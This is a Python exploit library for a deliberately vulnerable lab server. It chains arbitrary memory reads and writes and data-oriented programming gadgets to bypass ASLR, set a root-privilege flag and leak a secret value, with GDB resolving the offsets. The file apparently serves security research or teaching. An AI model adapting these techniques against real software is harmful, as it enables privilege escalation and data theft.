exploit.py

import logging
import vuln_srv
import time
import random
import os

from vuln_srv import VulnSrvAPI

try:
    import gdb
except ImportError:
    pass


class ExploitLib:
    """
    Class containing useful methods for exploiting "vuln_srv"
    """

    SECRET = 0x1337

    def __init__(self, port, gdb, benign, time_limit):
        self.port = port
        self.gdb = gdb
        self.benign = benign
        self.time_limit = time_limit
        self.logger = logging.getLogger(__name__)

        self.vuln_srv = VulnSrvAPI(self.port, self.gdb)

        # Names correspond to variables in "vuln_srv"
        # NOTE: To run without GDB replace values of these variables.

        self._g_var_t__c_type_size = 0
        self._g_srv_p_a__offset = 0
        self._g_is_root__offset_base = 0
        self._g_pp_secret__offset_base = 0
        self._g_a__offset_base = 0
        self._g_scratch_buf_size = 0
        self._g_scratch_buf__offset_base = 0
        self._g_p_g_a__offset_base = 0
        self._g_pp_g_a__offset_base = 0
        self._g_p_g_is_root__offset_base = 0
        self._g_pp_g_is_root__offset_base = 0
        self._g_struct_t_p_a__offset = 0
        self._g_struct_t_pp_b__offset = 0
        self._g_struct_t_p_c__offset = 0
        self._g_struct_t_v_1__offset = 0
        self._g_struct_t_v_2__offset = 0

        if self.gdb:
            self._gdb_preprocess()
        elif self._g_var_t__c_type_size == 0:
            raise Exception(
                'ERROR: You have not configured offsets. Modify the file or run with GDB.'
            )

    def get_base(self):
        """
        Use arbitrary memory read bug to read address pointer &g_a to use
        as an address base in case of ASLR.
        """

        # EQ: return &g_srv->p_a
        r = self.vuln_srv.send(self._g_srv_p_a__offset, 0).rstrip()
        # NOTE: 2 hex char == 1 byte hence the // 2
        if len(r)//2 != self._c_ptr_size:
            raise Exception('ERROR: unexpected base number:', r)
        return int(r, 16)

    def do_mem_read(self, start=-13):
        """
        Use arbitrary memory read bug to read the contents backwards from the
        LUT_ERROR_CODES global memory.
        """
        self.logger.info(
            'EXPLOIT: Arbitrary memory read (using negative "type")')
        for i in range(start, 0):
            self.logger.info('[%.2d] %s' % (i,
                                            self.vuln_srv.send(i, 0).rstrip()))

        b = self.get_base()

        self.logger.info('Base: %s' % (hex(b)))

    def do_mem_write(self, val=0x1337):
        """
        Use arbitrary memory write bug to overwrite local stack variable
        connect_limit to 0xdeadbeef.
        """
        self.logger.info(
            'EXPLOIT: Arbitrary memory write (overwrite "connect_limit")')
        self.vuln_srv.send(0, 0, val)

    def dop_escalate(self,
                     gadget_chain_link_length=0,
                     gadget_chain_op_length=0):
        """
        Escalate privilege by setting global variable "g_is_root" to be positive.
        The minimal case with only 1 gadget.
        """
        self.logger.info('EXPLOIT: DOP Privilege Escalation')

        b = self.get_base()

        self.gadget_chain_link(b, gadget_chain_link_length)
        self.gadget_chain_op(b, gadget_chain_op_length)

        # EQ: g_is_root = 1
        self.gadget_assignment(b, self._g_is_root__offset_base, 1)

        priv = self.vuln_srv.send_getpriv()

        if priv == 'ROOT':
            self.logger.info("Success!")
            self.logger.info("curr_priv: %s" % (priv))
            return True
        else:
            self.logger.info("Fail!")
            return False

    def dop_escalate_2(self,
                       gadget_chain_link_length=0,
                       gadget_chain_op_length=0):
        """
        Escalate privilege by setting global variable "g_is_root" to be positive.
        Uses a LOAD->ASSIGN->STORE chain.
        """
        self.logger.info('EXPLOIT: DOP Privilege Escalation')

        b = self.get_base()

        self.gadget_chain_link(b, gadget_chain_link_length)
        self.gadget_chain_op(b, gadget_chain_op_length)

        g_scratch_buf_i = self._g_scratch_buf__offset_base + (
            0 * self._g_var_t__c_type_size)

        self.gadget_load(b, self._g_pp_g_is_root__offset_base, g_scratch_buf_i);
        self.gadget_assignment(b, g_scratch_buf_i, 1);
        self.gadget_store(b, g_scratch_buf_i, self._g_pp_g_is_root__offset_base);

        priv = self.vuln_srv.send_getpriv()

        if priv == 'ROOT':
            self.logger.info("Success!")
            self.logger.info("curr_priv: %s" % (priv))
            return True
        else:
            self.logger.info("Fail!")
            return False


    def dop_exfiltrate(self,
                       gadget_chain_link_length=0,
                       gadget_chain_op_length=0):
        """
        Leak SECRET
        """
        self.logger.info("EXPLOIT: Leaking SECRET")

        b = self.get_base()

        self.gadget_chain_link(b, gadget_chain_link_length)
        self.gadget_chain_op(b, gadget_chain_op_length)

        # EQ: g_a = **pp_secret
        self.gadget_load(b, self._g_pp_secret__offset_base,
                         self._g_a__offset_base)

        # EQ: return g_a
        secret = self.vuln_srv.send_get()
        if secret == ExploitLib.SECRET:
            self.logger.info("Success!")
            self.logger.info("SECRET:%s" % (hex(secret)))
            return True
        else:
            self.logger.info("Fail!")
            return False

    def gadget_chain_op(self, base, length):

        if length == 0:
            return

        self.logger.info('Generating Ops...')

        for i in range(length):
            # EQ: *(&g_a) += 1
            self.gadget_addition(base, self._g_a__offset_base, 1)
            if self.time_limit:
                sleep_time = random.uniform(0, self.time_limit)
                self.logger.debug('Sleeping for %f...' % (sleep_time))
                time.sleep(sleep_time)

            self.logger.info("g_a:%s" % (self.vuln_srv.send_get()))

    def gadget_chain_link(self, base, length):

        if length == 0:
            return

        if length > self._g_scratch_buf_size:
            raise Exception('ERROR: Chain length exceeds "g_scratch_buf" size')

        self.logger.info('Generating Links...')

        self.logger.info("g_a: %s" % (self.vuln_srv.send_get()))
        for i in range(length):
            g_scratch_buf_i = self._g_scratch_buf__offset_base + (
                i * self._g_var_t__c_type_size)

            self.logger.info('g_scratch_buf[%d] @ <%s>' %
                             (i, hex(base + g_scratch_buf_i)))

            # EQ: *(&g_scratch_buf[i]) = **(g_pp_g_a)
            # store value of g_a in g_scratch_buf[i]
            self.gadget_load(base, self._g_pp_g_a__offset_base,
                             g_scratch_buf_i)
            if self.time_limit:
                sleep_time = random.uniform(0, self.time_limit)
                self.logger.debug('Sleeping for %f...' % (sleep_time))
                time.sleep(sleep_time)

            # EQ: *(&g_scratch_buf[i]) += 1
            # increment value in g_scratch_buf[i]
            self.gadget_addition(base, g_scratch_buf_i, 1)
            if self.time_limit:
                sleep_time = random.uniform(0, self.time_limit)
                self.logger.debug('Sleeping for %f...' % (sleep_time))
                time.sleep(sleep_time)

            # EQ: **(g_pp_g_a) = *(&g_scratch_buf[i])
            # store value of g_scratch_buf[i] in g_a
            self.gadget_store(base, g_scratch_buf_i,
                              self._g_pp_g_a__offset_base)
            if self.time_limit:
                sleep_time = random.uniform(0, self.time_limit)
                self.logger.debug('Sleeping for %f...' % (sleep_time))
                time.sleep(sleep_time)

            # EQ: print g_a
            self.logger.info("g_scratch_buf[%d]: %d" %
                             (i, self.vuln_srv.send_get()))

    ##--- DOP Gadgets ---##
    def gadget_store(self, base, src, dst):
        if not self.benign:
            self.vuln_srv.send_store(
                base + src, base + dst - self._g_struct_t_pp_b__offset)
        else:
            self.vuln_srv.send_store()

    def gadget_load(self, base, src, dst):
        if not self.benign:
            self.vuln_srv.send_load(base + src - self._g_struct_t_pp_b__offset,
                                    base + dst)
        else:
            self.vuln_srv.send_load()

    def gadget_addition(self, base, dst, val):
        if not self.benign:
            self.vuln_srv.send_add(val,
                                   base + dst - self._g_struct_t_v_1__offset)
        else:
            self.vuln_srv.send_add(0)

    def gadget_assignment(self, base, dst, val):
        if not self.benign:
            self.vuln_srv.send_assign(
                val, base + dst - self._g_struct_t_v_2__offset)
        else:
            self.vuln_srv.send_assign(0)

    ##--- GDB Processing --##
    @staticmethod
    def _is_ptr(typename):
        return '*' if '*' in typename.name else typename.name

    def _gdb_preprocess(self):
        """
        Uses GDB to extract type and offset information from "vuln_srv".
        Should keep exploit consistent with code changes during development.
        """
        filepath = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'vuln_srv')
        gdb.execute('file ' + filepath)
        c_int = gdb.lookup_type('int')
        c_ptr = gdb.lookup_type('int').pointer()
        var_t = gdb.lookup_type('var_t')
        g_var_t = gdb.lookup_type('g_var_t')
        g_struct_t = gdb.lookup_type('g_struct_t')

        self._c_ptr_size = c_ptr.sizeof
        self._c_int_size = c_int.sizeof
        self._g_struct_t__c_type_size = g_struct_t.sizeof
        self._g_struct_p_t__c_type_size = self._c_ptr_size
        self._var_t__c_type_size = var_t.sizeof
        self._var_p_t__c_type_size = self._c_ptr_size
        self._g_var_t__c_type_size = g_var_t.sizeof
        self._g_var_p_t__c_type_size = self._c_ptr_size

        for field in g_struct_t.fields():
            if field.name == 'p_a':
                self._g_struct_t_p_a__offset = field.bitpos // 8
            elif field.name == 'pp_b':
                self._g_struct_t_pp_b__offset = field.bitpos // 8
            elif field.name == 'p_c':
                self._g_struct_t_p_c__offset = field.bitpos // 8
            elif field.name == 'v_1':
                self._g_struct_t_v_1__offset = field.bitpos // 8
            elif field.name == 'v_2':
                self._g_struct_t_v_2__offset = field.bitpos // 8

        self._g_a__offset_base = 0

        offset_bytes = int(
            gdb.execute(
                'p (int)&(g_srv)->p_a - (int)&LUT_ERROR_CODES',
                to_string=True).split('=')[1])
        self._g_srv_p_a__offset = offset_bytes // g_var_t.sizeof

        g_p_g_a_offset = int(
            gdb.execute('p (int)&g_p_g_a - (int)&g_a',
                        to_string=True).split('=')[1])
        self._g_p_g_a__offset_base = g_p_g_a_offset

        g_pp_g_a_offset = int(
            gdb.execute('p (int)&g_pp_g_a - (int)&g_a',
                        to_string=True).split('=')[1])
        self._g_pp_g_a__offset_base = g_pp_g_a_offset

        g_is_root_offset = int(
            gdb.execute('p (int)&g_is_root - (int)&g_a',
                        to_string=True).split('=')[1])
        self._g_is_root__offset_base = g_is_root_offset

        g_p_g_is_root_offset = int(
            gdb.execute('p (int)&g_p_g_is_root - (int)&g_a',
                        to_string=True).split('=')[1])
        self._g_p_g_is_root__offset_base = g_p_g_is_root_offset

        g_pp_g_is_root_offset = int(
            gdb.execute('p (int)&g_pp_g_is_root - (int)&g_a',
                        to_string=True).split('=')[1])
        self._g_pp_g_is_root__offset_base = g_pp_g_is_root_offset

        secret_offset = int(
            gdb.execute('p (int)&g_p_secret - (int)&g_a',
                        to_string=True).split('=')[1])
        self._p_secret__offset_base = secret_offset

        pp_secret_offset = int(
            gdb.execute('p (int)&g_pp_secret - (int)&g_a',
                        to_string=True).split('=')[1])
        self._g_pp_secret__offset_base = pp_secret_offset

        g_scratch_buf_offset = int(
            gdb.execute('p (int)&g_scratch_buf - (int)&g_a',
                        to_string=True).split('=')[1])
        self._g_scratch_buf__offset_base = g_scratch_buf_offset

        self._g_scratch_buf_size = gdb.lookup_global_symbol(
            'g_scratch_buf').type.range()  # (0,n-1)
        self._g_scratch_buf_size = self._g_scratch_buf_size[1] + 1